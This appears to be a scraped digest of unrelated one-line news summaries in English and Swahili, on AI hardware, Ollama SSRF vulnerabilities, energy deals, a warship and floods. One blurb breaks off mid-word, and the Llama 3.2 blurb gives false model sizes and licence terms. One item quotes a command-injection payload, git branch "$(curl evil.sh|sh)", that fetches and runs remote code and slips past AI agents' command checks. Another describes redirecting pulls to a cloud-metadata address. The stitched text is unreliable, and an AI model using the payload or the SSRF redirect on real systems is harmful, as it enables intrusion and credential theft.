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In beta, Nvidia’s Personal AI Router (PAIR) scans a home network for RTX-20 series GPUs, RTX-Pro cards, DGX Spark nodes or M4-chip Macs, then coordinates idle machines to run LLMs locally via Ollama or LM Studio, all under mutual TLS encryption.
The SSRF bug survives in Ollama 0.33.2 because the tensor model downloader uses a separate HTTP client that skips the redirect guard added for CVE-2026-5530, letting attackers redirect pulls to any reachable address.
Makubaliano ya ununuzi wa umeme na mfumo wa joto la ardhi ulioboreshwa wa Fervo yataanza kutoa umeme ifikapo 2028, ikimpa Google msingi wa nishati thabiti na usio na kaboni unaoendana na mahitaji yasiyoisha ya mafunzo ya AI huku akikwepa gharama kubwa za kuhifadhi nishati kwenye betri.
The startup’s hosted API lets anyone with a credit-card query an unrestricted version of GLM-5.3, eliminating the need for local GPUs or custom code. While security teams praise the tool for realistic attack simulations, researchers warn it can also churn out step-by-step instructions for cyber-crim
The open-source aidlc-workflows framework adds a four-stage life cycle—planning, implementation, verification, and review prep—to existing AI coding agents, letting teams track concrete metrics while weighing token overhead and model variance.
CVE-2026-22708 demonstrates that agents checking only the first token of a command can be duped by payloads hidden in arguments—e.g., git branch "$(curl evil.sh|sh)"—granting attackers the same privileges as the automation bot.
Njia mpya za 'Live', zinazoendeshwa na modeli ya Gemini ya Google, zinawaruhusu watumiaji kuzungumza kwa asili na Gmail, Docs, na Keep kwenye iOS na Android, zikiwa na nakala za mazungumzo kwa wakati halisi na ubadilishaji rahisi kati ya maswali, lakini kwa sasa zinapatikana kwa Kiingereza pekee na kwa watumiaji wenye usajili wa premium wa AI.
Foundry Toolbox consolidates credential handling, versioning and policy enforcement into a single endpoint, while Tool Search trims prompts to a ranked shortlist, trimming input tokens up to 94% in a 600-tool benchmark and boosting tool-selection accuracy.
The vulnerability (CVE-2026-85180) affects Ollama v0.33.2 and lets anyone supply a model name that forces the server’s tensor downloader to follow redirects to any address, including the cloud-metadata endpoint 169.254.169.254, without authentication.
Meta’s Llama 3.2 arrives in three configurations—8 B, 30 B, and 70 B—trained on 2.5 trillion tokens. The new architecture slashes compute needs by 22%, delivering 1.8x faster inference on modern GPUs while remaining fully Apache 2.0 licensed.
After 286 days at sea—including a rapid pivot to support US operations against Iran—the 1,100-foot carrier docked in Laem Chabang covered in rust, underscoring how continuous combat duty hampers essential hull maintenance.
Kura ya Novemba inauliza wakazi ikiwa marekebisho ya katiba yanaweza kuweka mipaka madhubuti ya matumizi ya ardhi, matumizi ya umeme, na matumizi ya maji kwa miradi yenye ukubwa kama kituo kilichopendekezwa cha ekari 300 cha thamani ya dola bilioni 6.9.
Mafuriko haya makubwa, yaliyotokea bila onyo, pia yaliacha watu 541 wakipotea Tibet, na kuongeza idadi ya watu waliopotea katika eneo hilo hadi 4,757, huku yakilazimisha jeshi la Nepal kutuma mitambo ya kuchimba katika mifereji ya kuzalisha umeme ya maji iliyofurika.
Baada ya mwaka mmoja baharini, kusimama kwa meli hiyo huko Pattaya kulionyesha uharibifu wa miundombinu, shinikizo la afya ya akili, na ongezeko la dola milioni 3 katika uchumi wa ndani – ukumbusho mkubwa kwamba hata majitu yanayotumia nguvu ya nyuklia yanategemea mnyororo wa ugavi dhaifu.
Vedere Labs iliunganisha Claude na Ghidra ili kuandika upya shellcode kwa ajili ya PLC tofauti ya WAGO, ikifanikiwa kutekeleza msimbo kuanzia mwanzo hadi mwisho na hata kusababisha kifaa kutofanya kazi kabisa—ikionyesha kuwa AI inaweza kurahisisha mchakato wa kubadilisha mbinu za udukuzi kiotomatiki kwa uangalizi wa binadamu.
